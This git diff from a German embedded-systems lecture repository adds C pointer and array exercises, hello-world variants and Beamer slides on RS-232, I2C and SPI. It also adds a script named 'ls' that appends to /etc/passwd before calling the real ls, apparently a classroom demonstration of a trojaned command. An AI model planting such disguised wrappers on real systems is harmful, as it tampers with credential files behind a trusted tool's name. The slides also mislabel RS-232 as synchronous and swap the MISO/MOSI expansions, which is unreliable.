+++ b/20170420/arrays-4.c
@@ -4,7 +4,6 @@ int main (void)
 {
   char *a[] = { "Dies", "ist", "ein", "Test" };
   char **p = a;
-
   for (int i = 0; i < 4; i++)
     printf ("%s\n", a[i]);
   return 0;
diff --git a/20161020/arrays-12.c b/20170420/arrays-5.c
similarity index 56%
rename from 20161020/arrays-12.c
rename to 20170420/arrays-5.c
index b8a2d6a99f5045ca7dfbd3269883118dba38e182..29c2d36a5210f9e567e031f56927ad0eed058698 100644
--- a/20161020/arrays-12.c
+++ b/20170420/arrays-5.c
@@ -3,12 +3,8 @@
 int main (void)
 {
   char *a[] = { "Dies", "ist", "ein", "Test" };
-
+  char **p = a;
   for (int i = 0; i < 4; i++)
-    {
-      for (int j = 0; a[i][j]; j++)
-        printf ("%c", a[i][j]);
-      printf ("\n");
-    }
+    printf ("%s\n", *p);
   return 0;
 }
diff --git a/20161020/arrays-11.c b/20170420/arrays-6.c
similarity index 99%
rename from 20161020/arrays-11.c
rename to 20170420/arrays-6.c
index 51a98f254a8f89c328b4d0cb58c644c126012de6..aa6e043074e94ef5986cbdedfab92c3d7801a3b8 100644
--- a/20161020/arrays-11.c
+++ b/20170420/arrays-6.c
@@ -4,7 +4,6 @@ int main (void)
 {
   char *a[] = { "Dies", "ist", "ein", "Test" };
   char **p = a;
-
   for (int i = 0; i < 4; i++)
     printf ("%s\n", *p++);
   return 0;
diff --git a/20170420/arrays-7.c b/20170420/arrays-7.c
new file mode 100644
index 0000000000000000000000000000000000000000..4ce256e0c45fa8bc79b3b838a1cbe8f9f7eadac2
--- /dev/null
+++ b/20170420/arrays-7.c
@@ -0,0 +1,9 @@
+#include <stdio.h>
+
+int main (void)
+{
+  char *a[] = { "Dies", "ist", "ein", "Test" };
+  for (char **p = a; p < a + 4; p++)
+    printf ("%s\n", *p);
+  return 0;
+}
diff --git a/20170420/arrays-8.c b/20170420/arrays-8.c
new file mode 100644
index 0000000000000000000000000000000000000000..145aafac3d709214b245635110418b6920459deb
--- /dev/null
+++ b/20170420/arrays-8.c
@@ -0,0 +1,9 @@
+#include <stdio.h>
+
+int main (void)
+{
+  char a[][5] = { "Dies", "ist", "ein", "Test" };
+  for (char *p = a[0]; p < a[4]; p++)
+    printf ("%s\n", p);
+  return 0;
+}
diff --git a/20170420/arrays-9.c b/20170420/arrays-9.c
new file mode 100644
index 0000000000000000000000000000000000000000..1fd7fb0b2c84b05ad68e499523781c6a1f82765c
--- /dev/null
+++ b/20170420/arrays-9.c
@@ -0,0 +1,9 @@
+#include <stdio.h>
+
+int main (void)
+{
+  char a[][5] = { "Dies", "ist", "ein", "Test" };
+  for (char *p = a[0]; p < a[4]; p += 5)
+    printf ("%s\n", p);
+  return 0;
+}
diff --git a/20170420/photo-20170420-170351.jpg b/20170420/photo-20170420-170351.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..7f6fe33cef84a8c07e26f0838cbe70e0ad2704af
Binary files /dev/null and b/20170420/photo-20170420-170351.jpg differ
diff --git a/20170420/photo-20170420-170456.jpg b/20170420/photo-20170420-170456.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..562d2ff69b46f3755bd0693249de9586a6fd2b71
Binary files /dev/null and b/20170420/photo-20170420-170456.jpg differ
diff --git a/20170420/photo-20170420-170703.jpg b/20170420/photo-20170420-170703.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..97817b567a7eaac22d3581bb4b524a04a7fe523d
Binary files /dev/null and b/20170420/photo-20170420-170703.jpg differ
diff --git a/20170420/photo-20170420-170740.jpg b/20170420/photo-20170420-170740.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..ccd6becda618aab3c40aac1a9e784cc2c24bda4a
Binary files /dev/null and b/20170420/photo-20170420-170740.jpg differ
diff --git a/20161103/hello.c b/20170427/hello-1.c
similarity index 100%
rename from 20161103/hello.c
rename to 20170427/hello-1.c
diff --git a/20161013/test.c b/20170427/hello-2.c
similarity index 59%
rename from 20161013/test.c
rename to 20170427/hello-2.c
index f82b1bb2869918a99fc8f63c90973e9bd38ed62b..b767f77cd3a7328e5f45b60e674d32a647386509 100644
--- a/20161013/test.c
+++ b/20170427/hello-2.c
@@ -2,6 +2,6 @@
 
 int main (void)
 {
-  printf ("Dies ist ein Test.\n");
+  puts ("Hello, world!");
   return 0;
 }
diff --git a/20170427/hello-3.c b/20170427/hello-3.c
new file mode 100644
index 0000000000000000000000000000000000000000..0e56d5a33a3ac5f71ac2f06073beb86162ca8947
--- /dev/null
+++ b/20170427/hello-3.c
@@ -0,0 +1,7 @@
+#include <unistd.h>
+
+int main (void)
+{
+  write (1, "Hello, world!\n", 14);
+  return 0;
+}
diff --git a/20170427/hello-4.c b/20170427/hello-4.c
new file mode 100644
index 0000000000000000000000000000000000000000..36b40f8e0ebf23ea29208a375288386a94e84daa
--- /dev/null
+++ b/20170427/hello-4.c
@@ -0,0 +1,8 @@
+#include <stdio.h>
+
+int main (void)
+{
+  for (int i = 1; i < 4000000000; i += i)
+    printf ("Hello, %d world!\n", i);
+  return 0;
+}
diff --git a/20170427/ls b/20170427/ls
new file mode 100755
index 0000000000000000000000000000000000000000..72f24b86001643e60f736e18d57395790953745b
--- /dev/null
+++ b/20170427/ls
@@ -0,0 +1,2 @@
+echo "Schlimme Dinge ..." >> /etc/passwd
+/bin/ls "$@"
diff --git a/20170427/photo-20170427-170348.jpg b/20170427/photo-20170427-170348.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..7f85438308b75030a21729842ee05fece9ba40ce
Binary files /dev/null and b/20170427/photo-20170427-170348.jpg differ
diff --git a/20170504/photo-20170504-165709.jpg b/20170504/photo-20170504-165709.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..8215e27e72c27db57f1b4342ffececc169054dbe
Binary files /dev/null and b/20170504/photo-20170504-165709.jpg differ
diff --git a/20170504/photo-20170504-165752.jpg b/20170504/photo-20170504-165752.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..2bde2a30c6f5a7dcc09a3b0e6720cdbbac174ea9
Binary files /dev/null and b/20170504/photo-20170504-165752.jpg differ
diff --git a/20161110/I2C_data_transfer.pdf b/20170511/I2C_data_transfer.pdf
similarity index 100%
rename from 20161110/I2C_data_transfer.pdf
rename to 20170511/I2C_data_transfer.pdf
diff --git a/20161110/SPI_single_slave.pdf b/20170511/SPI_single_slave.pdf
similarity index 100%
rename from 20161110/SPI_single_slave.pdf
rename to 20170511/SPI_single_slave.pdf
diff --git a/20161110/SPI_three_slaves.pdf b/20170511/SPI_three_slaves.pdf
similarity index 100%
rename from 20161110/SPI_three_slaves.pdf
rename to 20170511/SPI_three_slaves.pdf
diff --git a/20161110/SPI_three_slaves_daisy_chained.pdf b/20170511/SPI_three_slaves_daisy_chained.pdf
similarity index 100%
rename from 20161110/SPI_three_slaves_daisy_chained.pdf
rename to 20170511/SPI_three_slaves_daisy_chained.pdf
diff --git a/20170511/es-20170413.pdf b/20170511/es-20170413.pdf
new file mode 100644
index 0000000000000000000000000000000000000000..602c800635d1228652ef21e872be5952f4b6bbef
Binary files /dev/null and b/20170511/es-20170413.pdf differ
diff --git a/20170511/es-20170413.tex b/20170511/es-20170413.tex
new file mode 100644
index 0000000000000000000000000000000000000000..f8c8f3df0860d8764cd1a4e67f3f1f5e4eb54271
--- /dev/null
+++ b/20170511/es-20170413.tex
@@ -0,0 +1,508 @@
+% es-20170511.pdf - Lecture Slides on Software Development for Embedded Systems
+% Copyright (C) 2013, 2014, 2015, 2016, 2017  Peter Gerwinski
+%
+% This document is free software: you can redistribute it and/or
+% modify it either under the terms of the Creative Commons
+% Attribution-ShareAlike 3.0 License, or under the terms of the
+% GNU General Public License as published by the Free Software
+% Foundation, either version 3 of the License, or (at your option)
+% any later version.
+%
+% This document is distributed in the hope that it will be useful,
+% but WITHOUT ANY WARRANTY; without even the implied warranty of
+% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+% GNU General Public License for more details.
+%
+% You should have received a copy of the GNU General Public License
+% along with this document.  If not, see <http://www.gnu.org/licenses/>.
+%
+% You should have received a copy of the Creative Commons
+% Attribution-ShareAlike 3.0 Unported License along with this
+% document.  If not, see <http://creativecommons.org/licenses/>.
+
+\documentclass[10pt,t]{beamer}
+
+\usepackage{pgslides}
+\usepackage{rotating}
+\usepackage{tikz}
+
+\title{Software-Entwicklung für eingebettete Systeme}
+\author{Prof.\ Dr.\ Peter Gerwinski}
+\date{11.\ Mai 2017}
+
+\newcommand{\ItwoC}{I\raisebox{0.5ex}{\footnotesize 2}C}
+
+\begin{document}
+
+\maketitleframe
+
+\sectionnonumber{Inhalt}
+
+\begin{frame}
+  \showsectionnonumber
+  \begin{enumerate}
+    \bf
+    \item Was sind eingebettete Systeme?
+    \item Arrays und Pointer für Fortgeschrittene
+    \item Einführung in Unix
+    \item TCP/IP-Netzwerke in der Praxis
+    \item Bus-Systeme
+  \end{enumerate}
+  \dots\ und \emph{viel\/} praktisches Arbeiten!
+
+  \vspace*{1.5cm}
+
+  \begin{center}
+    \color{red}\large
+    Exkursion zu Lufthansa (Frankfurt) -- wann?
+  \end{center}
+
+\end{frame}
+
+\setcounter{section}{4}
+\section{Bus-Systeme}
+\subsection{Was sind Bus-Systeme?}
+
+\begin{frame}
+  \showsection
+  \showsubsection
+
+  \begin{quote}
+    Ein Bus ist ein System zur Datenübertragung zwischen mehreren
+    Teilnehmern über einen gemeinsamen Übertragungsweg.
+%    \color{gray}
+%    Findet eine Datenübertragung zwischen zwei Teilnehmern statt, so
+%    müssen die übrigen Teilnehmer schweigen, da sie sich sonst
+%    gegenseitig stören würden. Umgangssprachlich werden mitunter --
+%    oft aus historischen Gründen – auch Datenübertragungssysteme als
+%    "`Bus"' bezeichnet, die technisch eigentlich eine andere
+%    Topologie besitzen.
+
+    \medskip
+
+    \strut\hfill\url{https://de.wikipedia.org/wiki/Bus_(Datenverarbeitung)}
+  \end{quote}
+  Beispiele:
+  \begin{itemize}
+    \item
+      Computer kommuniziert mit Peripherie
+    \item
+      Computer kommunizieren (direkt) miteinander
+    \item
+      Prozessor kommuniziert mit externem Speicher
+    \item
+      Teile eines Prozessors kommunizieren miteinander
+  \end{itemize}
+\end{frame}
+
+\begin{frame}
+  \showsection
+  \showsubsection
+  Standard-Computer:
+  \begin{itemize}
+    \item
+      Einsteckkarten: PCI (und Vorgänger)
+    \item
+      Festplatten: SATA (und Vorgänger)
+    \item
+      USB, FireWire, \dots
+    \item
+      Ethernet, CAN-Bus, \dots
+    \item
+      WLAN, BlueTooth, IR, \dots
+    \item
+      PS/2, RS-232, Centronics
+  \end{itemize}
+
+  \medskip
+
+  Minimal-Hardware:
+  \begin{itemize}
+    \item
+      RS-232
+    \item
+      \ItwoC\ (TWI)
+    \item
+      SPI
+  \end{itemize}
+
+  \begin{onlyenv}<1>
+    \begin{picture}(0,0)
+      \put(5,1.5){\includegraphics[height=3cm]{motherboard-anschluesse.jpg}}
+    \end{picture}
+  \end{onlyenv}
+  \begin{onlyenv}<2>
+    \begin{picture}(0,0)(-1.3,-4)
+      \put(1.8,-4.9){\includegraphics[height=3.5cm]{kompassmodul-an-roboter.jpg}}
+      \put(6.1,-3.3){\includegraphics[height=4.5cm]{kompassmodul.jpg}}
+      \put(6.1,1.2){\makebox(0,0)[tr]{\tikz{\draw(0,0)--(-1.9,-3.6);}}}
+      \put(6.1,-3.3){\makebox(0,0)[br]{\tikz{\draw(0,0)--(-1.8,0.2);}}}
+    \end{picture}
+  \end{onlyenv}
+\end{frame}
+
+\begin{frame}[fragile]
+
+  \showsection
+  \showsubsection
+
+  \vspace*{-\bigskipamount}
+  \begin{tabbing}
+    \newterm{Punkt-zu-Punkt}\quad\=\kill
+    \newterm{seriell} \> jedes Bit einzeln übertragen\\
+    \newterm{parallel} \> mehrere Bits gleichzeitig\\[\smallskipamount]
+    \newterm{synchron} \> Abgleich über Steuerleitung: \newterm{Takt}\\
+    \newterm{asynchron} \> Abgleich über Zeitvereinbarungen\\[\smallskipamount]
+    \newterm{Punkt-zu-Punkt} \> genau zwei Teilnehmer\\
+    \newterm{busfähig} \> mehrere Teilnehmer, mit \newterm{Adressierung}
+  \end{tabbing}
+
+  \begin{itemize}
+    \item
+      \ItwoC: seriell, synchron, mit Adressierung
+    \item
+      RS-232: seriell, asynchron, Punkt-zu-Punkt
+    \item
+      RS-485, USB, CAN: seriell, asynchron, mit Adressierung
+    \item
+      SPI: seriell, synchron, Punkt-zu-Punkt oder mit Adressierung
+  \end{itemize}
+
+\end{frame}
+
+\subsection{RS-232}
+
+\begin{frame}
+  \showsection
+  \showsubsection
+
+  seriell
+  \begin{itemize}
+    \item
+      \newterm{TX\/}: 1 Leitung für Daten
+    \item
+      \newterm{RX\/}: ggf.\ 1 Leitung für Daten in der anderen Richtung
+    \item
+      \newterm{GND\/}: gemeinsame \newterm{Masse}
+    \item
+      evtl.\ zusätzliche Steuerleitungen
+  \end{itemize}
+
+  \medskip
+
+  synchron
+  \begin{itemize}
+    \item
+      \emph{keine\/} Taktleitung für Abgleich, wann Daten anliegen
+    \item
+      Stattdessen: Abgleich über Zeitvereinbarungen
+    \arrowitem
+      Jeder Teilnehmer braucht eine eigene Zeitbasis.
+  \end{itemize}
+
+  \medskip
+
+  Punkt-zu-Punkt
+  \begin{itemize}
+    \item
+      nur 2 Teilnehmer vorgesehen
+  \end{itemize}
+\end{frame}
+
+\begin{frame}
+  \showsubsection
+  \vspace*{-0.35cm}
+  \begin{center}
+    \includegraphics[scale=0.9]{rs-232.pdf}
+  \end{center}
+\end{frame}
+
+\subsection{\protect\ItwoC\ (TWI)}
+
+\begin{frame}
+  \showsection
+  \showsubsection
+
+  \ItwoC\ = Inter-IC; TWI = Two-Wire-Interface
+
+  \medskip
+
+  seriell
+  \begin{itemize}
+    \item
+      \newterm{SDA\/}: 1 Leitung für Daten (in beiden Richtungen)
+    \item
+      \newterm{SCL\/}: Taktleitung (Clock)
+    \item
+      \newterm{GND\/}: gemeinsame Masse
+    \item
+      evtl.\ \newterm{VCC\/}: Stromversorgung für Peripheriegerät
+  \end{itemize}
+
+  \medskip
+
+  synchron
+  \begin{itemize}
+    \item
+      Abgleich über\\Taktleitung
+      \begin{picture}(0,0)
+        \put(0.4,-0.4){\includegraphics[width=9.7cm]{I2C_data_transfer.pdf}}
+      \end{picture}
+  \end{itemize}
+
+  \medskip
+
+  busfähig
+  \begin{itemize}
+    \item
+      \newterm{Master\/} initiiert Kommuniation und steuert Taktleitung
+    \item
+      erstes gesendetes Byte: \newterm{Adresse\/} des Teilnehmers
+    \item
+      2 Adressen pro Teilnehmer: Lesen/Schreiben
+  \end{itemize}
+  \vspace*{-1cm}
+\end{frame}
+
+\subsection{SPI}
+
+\begin{frame}
+  \showsection
+  \showsubsection
+
+  Serial Peripheral Interface
+
+  \medskip
+
+  seriell
+  \begin{itemize}
+    \item
+      \newterm{MISO\/}: Master Out, Slave In
+    \item
+      \newterm{MOSI\/}: Master In, Slave Out
+    \item
+      \newterm{SCLK\/}: Taktleitung (Clock)
+    \item
+      \newterm{$\overline{\text{SS}}$\/}: Slave Select (invertiert)
+    \item
+      \newterm{GND\/}: gemeinsame Masse
+    \item
+      evtl.\ \newterm{VCC\/}: Stromversorgung für Peripheriegerät
+  \end{itemize}
+
+  \medskip
+
+  synchron
+  \begin{itemize}
+    \item
+      Abgleich über Taktleitung
+  \end{itemize}
+
+  \medskip
+
+  busfähig
+  \begin{itemize}
+    \item
+      \newterm{Master\/} initiiert Kommuniation und steuert Taktleitung
+    \item
+      \newterm{Slave\/} wird über \newterm{Slave Select\/} ausgewählt
+      \begin{picture}(0,0)
+        \only<1>{\put(-2.175,2.875){\includegraphics[scale=0.7]{SPI_single_slave.pdf}}}
+        \only<2>{\put(-2.0,3.0){\includegraphics[scale=0.7]{SPI_three_slaves.pdf}}}
+        \only<2>{\put(2.55,3.1){\begin{minipage}[t]{2.5cm}
+                                  \newterm{Stern}
+                                \end{minipage}}}
+        \only<3->{\put(-2.0,3.0){\includegraphics[scale=0.7]{SPI_three_slaves_daisy_chained.pdf}}}
+        \only<3->{\put(2.55,3.1){\begin{minipage}[t]{2.5cm}
+                                   \newterm{Kaskade}\\
+                                   \newterm{Daisy Chain}\pause[4]\par\smallskip
+                                   \setlength{\leftskip}{-3.5cm}\small
+                                   Slave gibt MOSI-Input um 1 Takt verzögert
+                                   an MISO aus \textarrow\ Master setzt
+                                   "`im richtigen Moment"' $\overline{\text{SS}}$
+                                 \end{minipage}}}
+      \end{picture}
+  \end{itemize}
+  \vspace*{-1cm}
+  
+\end{frame}
+
+
+\subsection{Beispiel: Benutzung des \protect\ItwoC-Busses}
+
+\begin{frame}[fragile]
+
+  \showsection
+  \showsubsection
+
+  \begin{picture}(0,0)
+    \put(8.75,-0.75){\includegraphics[height=2.75cm]{kompassmodul.jpg}}
+  \end{picture}%
+ 
+  \begin{onlyenv}<1>
+    \begin{lstlisting}[gobble=6]
+      void read_compass (uint16_t *x, uint16_t *y)
+      {
+        I2CTWI_transmit2Bytes (0x60, 0x00, 0x02);  // set coil
+        mSleep (1);
+        I2CTWI_transmit2Bytes (0x60, 0x00, 0x04);  // reset coil
+        mSleep (5);
+        uint8_t result[5];
+        I2CTWI_transmit2Bytes (0x60, 0x00, 0x01);  // Messung starten
+        mSleep (5);                                // 5ms warten, bis Sensor fertig gemessen hat
+        I2CTWI_transmitByte (0x60, 0x01);          // Leseindex setzen
+        I2CTWI_readBytes (0x61, result, 4);        // lesen: msb x, lsb x, msb y, lsb y
+        result[0] &= 0b00001111;                   // Unwichtge Bits vom msb abschneiden
+        result[2] &= 0b00001111;
+        *x = (result[0] << 8) + result[1];         // Wert berechnen aus msb und lsb
+        *y = (result[2] << 8) + result[3];
+      }
+    \end{lstlisting}
+  \end{onlyenv}
+  \begin{onlyenv}<2-3>
+    \begin{lstlisting}[gobble=6,style=shy]
+      ²void read_compass (uint16_t *x, uint16_t *y)
+      { ... }
+
+      int main (void)
+      {
+        uint16_t compass_x, compass_y;
+        read_compass (&compass_x, &compass_y);¿
+        ³writeInteger (compass_x, DEC);
+        writeChar (' ');
+        writeInteger (compass_y, DEC);
+        writeChar ('\n');¿
+        ²return 0;
+      }¿
+    \end{lstlisting}
+  \end{onlyenv}
+  \begin{onlyenv}<4->
+    \begin{lstlisting}[gobble=6,style=shy]
+      °void read_compass (uint16_t *x, uint16_t *y)
+      {
+        I2CTWI_transmit2Bytes (0x60, 0x00, 0x02);  // set coil
+        ¿mSleep (1);
+        I2CTWI_transmit2Bytes (0x60, 0x00, 0x04);  // reset coil
+        mSleep (5);
+        uint8_t result[5];
+        I2CTWI_transmit2Bytes (0x60, 0x00, 0x01);  // Messung starten
+        mSleep (5);                                // 5ms warten, bis Sensor fertig gemessen hat
+        I2CTWI_transmitByte (0x60, 0x01);          // Leseindex setzen
+        I2CTWI_readBytes (0x61, result, 4);        // lesen: msb x, lsb x, msb y, lsb y
+        result[0] &= 0b00001111;                   // Unwichtge Bits vom msb abschneiden
+        result[2] &= 0b00001111;
+        *x = (result[0] << 8) + result[1];         // Wert berechnen aus msb und lsb
+        *y = (result[2] << 8) + result[3];
+      °}¿
+    \end{lstlisting}
+  \end{onlyenv}
+  \begin{onlyenv}<5-7>
+    \begin{picture}(0,0)
+      \color{red}
+      \put(3.85,5.3){\vector(1,1){0.5}}
+      \put(3.5,5.2){\makebox(0,0)[t]{\shortstack{Gerät adressieren:\\Schreib-Adresse}}}
+    \end{picture}
+  \end{onlyenv}
+  \begin{onlyenv}<6-7>
+    \begin{picture}(0,0)
+      \color{red}
+      \put(5.25,4.5){\vector(0,1){1.3}}
+      \put(5.25,4.4){\makebox(0,0)[t]{\shortstack{Register-Nr.\\innerhalb des Geräts}}}
+    \end{picture}
+  \end{onlyenv}
+  \begin{onlyenv}<7>
+    \begin{picture}(0,0)
+      \color{red}
+      \put(6.6,5.3){\vector(-1,1){0.5}}
+      \put(6.95,5.2){\makebox(0,0)[t]{Befehl: Spule an}}
+    \end{picture}
+  \end{onlyenv}
+  \vspace*{-2cm}
+
+\end{frame}
+
+\begin{frame}[fragile]
+
+  \showsection
+  \showsubsection
+
+  \begin{picture}(0,0)
+    \put(8.75,-0.75){\includegraphics[height=2.75cm]{kompassmodul.jpg}}
+  \end{picture}%
+ 
+  \begin{lstlisting}[style=shy]
+    ¡void read_compass (uint16_t *x, uint16_t *y)
+    {
+      I2CTWI_transmit2Bytes (0x60, 0x00, 0x02);  // set coil
+      mSleep (1);
+      I2CTWI_transmit2Bytes (0x60, 0x00, 0x04);  // reset coil
+      mSleep (5);
+      ¿²uint8_t result[5];
+      I2CTWI_transmit2Bytes (0x60, 0x00, 0x01);  // Messung starten
+      mSleep (5);                                // 5ms warten, bis Sensor fertig gemessen hat
+      ¿³I2CTWI_transmitByte (0x60, 0x01);          // Leseindex setzen
+      ¿°I2CTWI_readBytes (0x61, result, 4);        // lesen: msb x, lsb x, msb y, lsb y
+      result[0] &= 0b00001111;                   // Unwichtge Bits vom msb abschneiden
+      result[2] &= 0b00001111;
+      *x = (result[0] << 8) + result[1];         // Wert berechnen aus msb und lsb
+      *y = (result[2] << 8) + result[3];
+    ¿¡}¿
+  \end{lstlisting}
+  \vspace*{-2cm}
+
+\end{frame}
+
+\begin{frame}[fragile]
+
+  \showsection
+  \showsubsection
+
+  \begin{picture}(0,0)
+    \put(8.75,-0.75){\includegraphics[height=2.75cm]{kompassmodul.jpg}}
+  \end{picture}%
+  Messung:\\
+  Roboter im Kreis drehen lassen,\\
+  x- und y-Werte aufzeichnen\\
+  und gegeneinander auftragen
+ 
+  \smallskip
+  Ergebnis: Ellipse
+  \begin{picture}(0,0)(0,0.5)
+    \put(5,-3){\includegraphics[height=4cm]{kompass-messung.png}}
+  \end{picture}%
+
+  \bigskip
+  Anwendung:\\
+  Roboter in eine Himmelsrichtung ausrichten
+  \begin{itemize}
+    \item
+      Achsen normieren:\\
+      Mittelwert subtrahieren
+      \begin{picture}(0,0)(0,0.5)
+        \put(3.75,0.95){\vector(1,0){4}}
+        \put(7.55,0.90){\makebox(0,0)[t]{x}}
+        \put(5.75,-1.05){\vector(0,1){4}}
+        \put(5.75,2.95){\makebox(0,0)[r]{y}}
+      \end{picture}%
+    \item
+      Nulldurchgang einer Achse\\
+      markiert eine Himmelsrichtung
+    \item
+      Vorzeichen der anderen Achse\\
+      sagt aus, welche Himmelsrichtung
+  \end{itemize}
+  \vspace{-0.5cm}
+  \begin{flushright}
+    Beispiel: nach Norden ausrichten\\
+    Grob drehen, bis $y$ positiv ist,
+    fein drehen, bis $x = 0$ ist
+  \end{flushright}
+%  $x = 0$, $y$ positiv: Norden\\
+%  $x = 0$, $y$ negativ: Süden
+%  $y = 0$, $x < 0$: Westen
+%  $y = 0$, $x > 0$: Osten
+  \vspace*{-2cm}
+
+\end{frame}
+
+\end{document}
diff --git a/20161006/kompass-messung.png b/20170511/kompass-messung.png
similarity index 100%
rename from 20161006/kompass-messung.png
rename to 20170511/kompass-messung.png
diff --git a/20161006/kompassmodul-an-roboter.jpg b/20170511/kompassmodul-an-roboter.jpg
similarity index 100%
rename from 20161006/kompassmodul-an-roboter.jpg
rename to 20170511/kompassmodul-an-roboter.jpg
diff --git a/20161006/kompassmodul.jpg b/20170511/kompassmodul.jpg
similarity index 100%
rename from 20161006/kompassmodul.jpg
rename to 20170511/kompassmodul.jpg
diff --git a/20170511/logo-hochschule-bochum-bo-text-v2.pdf b/20170511/logo-hochschule-bochum-bo-text-v2.pdf
new file mode 100644
index 0000000000000000000000000000000000000000..e8725b8d05ffdd30bb4d71222f87c6c75dcf047f
Binary files /dev/null and b/20170511/logo-hochschule-bochum-bo-text-v2.pdf differ
diff --git a/20170511/logo-hochschule-bochum-cvh-text.pdf b/20170511/logo-hochschule-bochum-cvh-text.pdf
new file mode 100644
index 0000000000000000000000000000000000000000..649b6a8b8f51ddc370a3626310c172fb3f8b0807
Binary files /dev/null and b/20170511/logo-hochschule-bochum-cvh-text.pdf differ
diff --git a/20170511/logo-hochschule-bochum-cvh-vertikal-v3.pdf b/20170511/logo-hochschule-bochum-cvh-vertikal-v3.pdf
new file mode 100644
index 0000000000000000000000000000000000000000..7ae1c14177ac80f8bbe25e41c1aa043bdfd57ad5
Binary files /dev/null and b/20170511/logo-hochschule-bochum-cvh-vertikal-v3.pdf differ
diff --git a/20170511/logo-hochschule-bochum.pdf b/20170511/logo-hochschule-bochum.pdf
new file mode 100644
index 0000000000000000000000000000000000000000..8cad73dbb48a2b550bf29355b5a6ec895ce091f8
Binary files /dev/null and b/20170511/logo-hochschule-bochum.pdf differ
diff --git a/20161006/motherboard-anschluesse.jpg b/20170511/motherboard-anschluesse.jpg
similarity index 100%
rename from 20161006/motherboard-anschluesse.jpg
rename to 20170511/motherboard-anschluesse.jpg
diff --git a/20170511/pgslides.sty b/20170511/pgslides.sty
new file mode 100644
index 0000000000000000000000000000000000000000..cde7d23dea1cf8bc70ff12fd6a2b454fc4c6ab24
--- /dev/null
+++ b/20170511/pgslides.sty
@@ -0,0 +1,228 @@
+% pgslides.sty - LaTeX Settings for Lecture Slides
+% Copyright (C) 2012, 2013  Peter Gerwinski
+%
+% This document is free software: you can redistribute it and/or
+% modify it either under the terms of the Creative Commons
+% Attribution-ShareAlike 3.0 License, or under the terms of the
+% GNU General Public License as published by the Free Software
+% Foundation, either version 3 of the License, or (at your option)
+% any later version.
+%
+% This document is distributed in the hope that it will be useful,
+% but WITHOUT ANY WARRANTY; without even the implied warranty of
+% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+% GNU General Public License for more details.
+%
+% You should have received a copy of the GNU General Public License
+% along with this document.  If not, see <http://www.gnu.org/licenses/>.
+%
+% You should have received a copy of the Creative Commons
+% Attribution-ShareAlike 3.0 Unported License along with this
+% document.  If not, see <http://creativecommons.org/licenses/>.
+
+\usepackage{amsfonts}
+\usepackage[british,german]{babel}  % Yes, really "german" and not "ngerman".
+\usepackage[utf8]{luainputenc}  % Without this, umlauts are broken. Weird.
+\usepackage{microtype}
+\usepackage[T1]{fontenc}
+\usepackage{times}
+\usepackage{helvet}
+\renewcommand*\familydefault{\sfdefault}
+\usepackage{graphicx}
+\usepackage{pstricks}
+
+\hypersetup{colorlinks,allcolors=blue}
+
+%% @@@ Not necessary for slides. Why???
+%% Repair kerning: Automatically insert "\kern{-0.15em}" between "//" % (in URLs).
+%\directlua{
+%  local glyph = node.id ("glyph")
+%  local function my_kerning (head)
+%    for t in node.traverse (head) do
+%      if t.id == glyph and t.char == 47 then
+%        if t.next
+%           and t.next.next
+%           and t.next.next.id == glyph
+%           and t.next.next.char == 47 then
+%          local k = node.new ("kern")
+%          k.kern = tex.sp ("-0.15em")
+%          k.next = t.next
+%          k.prev = t
+%          t.next.prev = k
+%          t.next = k
+%        end
+%      end
+%    end
+%    node.kerning (head)
+%  end
+%  luatexbase.add_to_callback ("kerning", my_kerning, "URL kerning")
+%}
+
+\usetheme{default}
+\usefonttheme{structurebold}
+\setbeamertemplate{navigation symbols}{}
+\setbeamersize{text margin left = 0.3cm, text margin right = 0.2cm}
+\setbeamertemplate{itemize item}{$\bullet$}
+\setbeamertemplate{itemize subitem}{--}
+\setbeamerfont{itemize/enumerate subbody}{size=\normalsize}
+\setbeamerfont{itemize/enumerate subsubbody}{size=\normalsize}
+\setbeamercolor{footline}{fg=gray}
+
+\newcommand{\sep}{~$\cdot$~}
+
+\newif\ifminimalistic
+\minimalistictrue
+
+\institute[Hochschule Bochum\sep CVH]{%
+  \makebox(0,0)[tl]{\includegraphics[scale=0.57]{logo-hochschule-bochum-cvh-text.pdf}}\hfill
+  \makebox(0,0)[tr]{\includegraphics[scale=0.5]{logo-hochschule-bochum.pdf}}%
+}
+
+\setbeamertemplate{headline}{%
+  \leavevmode
+  \hbox to \textwidth{%
+    \ifminimalistic
+      \strut\hfill
+    \else
+      \rule{0pt}{5.7pt}%
+      \hspace*{8.55pt}\insertinstitute\hspace*{5.7pt}%
+      \raisebox{-30pt}{\rule{0pt}{1pt}}%
+    \fi
+  }%
+  \vskip0pt%
+}
+
+\iffalse
+  \setbeamertemplate{footline}{}
+\else
+  \setbeamertemplate{footline}{%
+    \leavevmode
+    \hbox to \textwidth{%
+      \usebeamercolor{footline}%
+      \usebeamerfont{footline}%
+      \ifminimalistic
+        \strut\hfill
+      \else
+        \,\insertshorttitle\sep
+        \insertshortauthor\sep
+        \insertshortinstitute\sep
+        \insertshortdate\hfill
+      \fi
+      \insertframenumber/\inserttotalframenumber
+      %Folie\,\insertframenumber\sep Seite\,\insertpagenumber\,
+    }%
+    \vskip0pt%
+  }
+\fi
+
+\newcommand{\maketitleframe}{%
+  \ifminimalistic
+    \begin{frame}[t,plain]
+      \insertinstitute
+      \par\vfill
+      \begin{center}
+        {\LARGE\color{structure}\inserttitle\par}\bigskip\bigskip
+        {\large \insertauthor\par}\bigskip\medskip
+        \insertdate
+      \end{center}
+    \end{frame}
+  \else
+    \begin{frame}
+      \vfill
+      \begin{center}
+        {\LARGE\color{structure}\inserttitle\par}\bigskip\bigskip
+        {\large \insertauthor\par}\bigskip\medskip
+        \insertdate
+      \end{center}
+      \vfill
+    \end{frame}
+  \fi
+}
+
+\usepackage{pstricks}
+\newrgbcolor{medgreen}{0.0 0.5 0.0}
+\newrgbcolor{darkgreen}{0.0 0.3 0.0}
+\newrgbcolor{lightred}{1.0 0.7 0.7}
+\newrgbcolor{medred}{0.5 0.0 0.0}
+\newrgbcolor{bored}{0.89 0.0 0.098}
+\newrgbcolor{lightgray}{0.85 0.85 0.85}
+\definecolor{darkgray}{rgb}{0.4,0.4,0.4}
+
+\newenvironment{experts}{\color{darkgray}}{}
+
